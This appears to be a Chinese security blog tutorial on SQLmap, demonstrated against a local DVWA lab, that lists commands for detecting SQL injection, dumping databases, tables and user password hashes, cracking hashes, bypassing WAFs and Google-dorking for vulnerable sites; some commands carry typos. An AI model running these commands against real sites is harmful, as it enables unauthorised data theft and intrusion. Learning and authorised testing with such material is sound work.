SQLmap渗透浅析

admin 2024年5月7日14:21:33评论7 views字数 3199阅读10分39秒阅读模式

SQLmap渗透浅析

SQLmap渗透浅析

前言

SQLmap渗透浅析

SQLmap是一款开源的SQL注入工具,用于检测和利用Web应用程序的SQL注入漏洞。SQLmap支持多种数据库管理系统,包括MySQL、Oracle、PostgreSQL、Microsoft SQL Server、SQLite等,并支持各种不同的操作系统和平台。

本文仅供学习研究使用 请勿用于非法用途

未经授权不可转载

本文以目标、脱库、账号与其它四个部分进行SQLmap的讲解。
SQLmap渗透浅析

目标

1、单个URL、Cookie

1)检测指定URL是否存在SQL注入漏洞:

python sqlmap.py -u 目标URL

2)设置Cookie参数,绕过Web应用程序的安全检查,检测是否含有SQL注入漏洞:

python sqlmap.py -u 目标URL --cookie="cookie参数"

提取URL进行注入实例如下:

SQLmap渗透浅析

SQLmap渗透浅析

通过上图回显可以看到302定向到login.php,故需附上cookie

由于控制台并不能回显PHP session,故通过bp抓包得到cookie:

SQLmap渗透浅析

故命令如下:

python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=blp5j1964tfgiov6iusv24m9uj"

SQLmap渗透浅析

结果如下:

SQLmap渗透浅析

说明存在SQL注入漏洞。

2、文件URL、POST

1)检测指定文件中的全部URL是否存在SQL注入漏洞

python sqlmap.py -m 文件名

2)通过POST请求包进行SQL注入(Burp抓包),检测是否含有SQL注入漏洞

python sqlmap.py -r POST请求包

python sqlmap.py -u "http://example.com/login.php" --data "username=1&password=1"(注入点)

3)指定进行检测的数据库类型

python sqlmap.py -u 目标URL -dbms 数据库类型

-D 指定数据库

-T 指定表

-C 指定字段

SQLmap渗透浅析

脱库

在确定能够使用SQLmap进行注入后,可以进行脱库操作。

1、获取当前数据库版本

python sqlmap.py -u 目标URL -b

实例如下,命令含有Cookie参数:

SQLmap渗透浅析

回显如下:

SQLmap渗透浅析

- Web应用程序技术:PHP版本为7.3.4,Nginx版本为1.15.11。

- 后端数据库管理系统(DBMS):MySQL版本要求大于等于5.6,实际检测到的版本为5.7.26。

2、获取当前数据库名称

python sqlmap.py -u 目标URL --current-db

实例如下:

SQLmap渗透浅析

回显可知当前数据库名称为dvwa:

SQLmap渗透浅析

3、列出所有数据库

python sqlmap.py -u 目标URL --dbs

实例如下:

SQLmap渗透浅析

回显如下,存在两个数据库,一个为dvwa,一个为information_schema

SQLmap渗透浅析

4、列出指定数据库的所有表

python sqlmap.py -u 目标URL -D 数据库名称 --tables

实例如下:

SQLmap渗透浅析

这里列出dvwa数据库所有的表,POC含有Cookie参数

回显如下,两个表,一个为guestbook,一个为users:

SQLmap渗透浅析

5、获取表中所有数据

python sqlmap.py -u 目标URL -D 数据库名称 -T 表名称 --dump

实例如下:

SQLmap渗透浅析

这里列出users所有的数据,POC含有Cookie参数

由于密码经过hash加密,SQLmap会通过不同的加密算法遍历每个字符串,将得到的hash值与数据库中的hash进行匹配:

SQLmap渗透浅析

图是使用md5加密后进行匹配得到密码的部分结果:

SQLmap渗透浅析

结果如图:

SQLmap渗透浅析

6、搜索库、表、字段

python sqlmap.py -u 目标URL --search

7、绕过WAF

python sqlmap.pu -u 目标URL --tamper
SQLmap渗透浅析

账号

1、获取所有数据

python sqlmap.pu -u 目标URL -a

实例如下:

python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=blp5j1964tfgiov6iusv24m9uj" -a

结果如图:

SQLmap渗透浅析

SQLmap渗透浅析

2、显示当前用户

python sqlmap.pu -u 目标URL --current -user

实例如下:

SQLmap渗透浅析

回显如下,当前用户为admin:

SQLmap渗透浅析

3、检测是否为数据库管理员

python sqlmap.pu -u 目标URL --is-dba

实例如下:

SQLmap渗透浅析

回显如下:

SQLmap渗透浅析

当前用户不是管理员

4、获取所有用户

python sqlmap.pu -u 目标URL --users

5、查看当前用户权限

python sqlmap.pu -u 目标URL --privileges

实例如下:

SQLmap渗透浅析

回显如下:

SQLmap渗透浅析

当前权限为USAGE

6、获取用户的密码(hash值)

python sqlmap.pu -u 目标URL --passwords

7、获取服务器主机名称

python sqlmap.pu -u 目标URL --hostname

SQLmap渗透浅析

回显如下:

SQLmap渗透浅析

8、显示正在运行的SQL语句

python sqlmap.pu -u 目标URL --statements

9、以盲注方式获取web应用程序的管理员密码

python sqlmap.py -u 目标URL --technique=T --time-sec 10 --level=3 --risk=3 --current-user --current-db --passwords
SQLmap渗透浅析

其它

1)不再询问确认:

python sqlmap.pu -u 目标URL --batch

2)指定请求方式:

python sqlmap.pu -u 目标URL --method=GET

3)随机UA:

python sqlmap.pu -u 目标URL --random-agent

4)自定义UA:

python sqlmap.pu -u 目标URL --user-agent''

5)自定义referer:

python sqlmap.pu -u 目标URL --referer''

6)指定代理:

python sqlmap.pu -u 目标URL --proxy="127.0.0.1:8080"

7)指定线程数(由1至10):

python sqlmap.pu -u 目标URL --threads 10

8)使用搜索功能来查找漏洞:

python sqlmap.py -u 目标URL --google-dork "inurl:php?id="

9)指定测试等级(由1至5):

python sqlmap.pu -u 目标URL --level=1

10)指定风险等级(由0至3):

python sqlmap.pu -u 目标URL --risk=1

参数说明:

level参数:指定扫描深度的级别,范围为1-5,级别越高,扫描的深度就越深。具体含义如下:1级别:只做最基本的测试,速度最快。2级别:会测试大部分的注入点,但不会尝试绕过WAF或IDS等安全设备。3级别:会测试所有可疑的注入点,并尝试绕过WAF或IDS等安全设备。4级别:比较耗时,会进行一些额外的测试和检测。5级别:最深度的测试,将尽可能地测试所有的注入点和漏洞。risk参数:指定扫描的风险级别,范围为0-3,级别越高,扫描的敏感性越高。具体含义如下:0级别:只针对一些非常明显的、极易被发现的漏洞进行测试。1级别:测试所有普通的注入点。2级别:测试所有可疑的注入点,并使用一些高级的技术尝试绕过安全机制。3级别:最高风险级别,尝试针对所有可能的注入点进行测试,并使用一切可用的技术和手段进行攻击。
SQLmap渗透浅析

往期文章

JWT基础知识及攻击方式详析

CDN的判断与绕过、nslookup的基本使用

一个基于 BigQuery 的 SQL 注入挖掘案例


如何开始漏洞赏金计划并成为漏洞挖掘猎手

SSRF绕过实现窃取字节跳动LarkSuite数据

原文始发于微信公众号(芳华绝代安全团队):SQLmap渗透浅析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月7日14:21:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SQLmap渗透浅析http://cn-sec.com/archives/2698223.html

发表评论

匿名网友 填写信息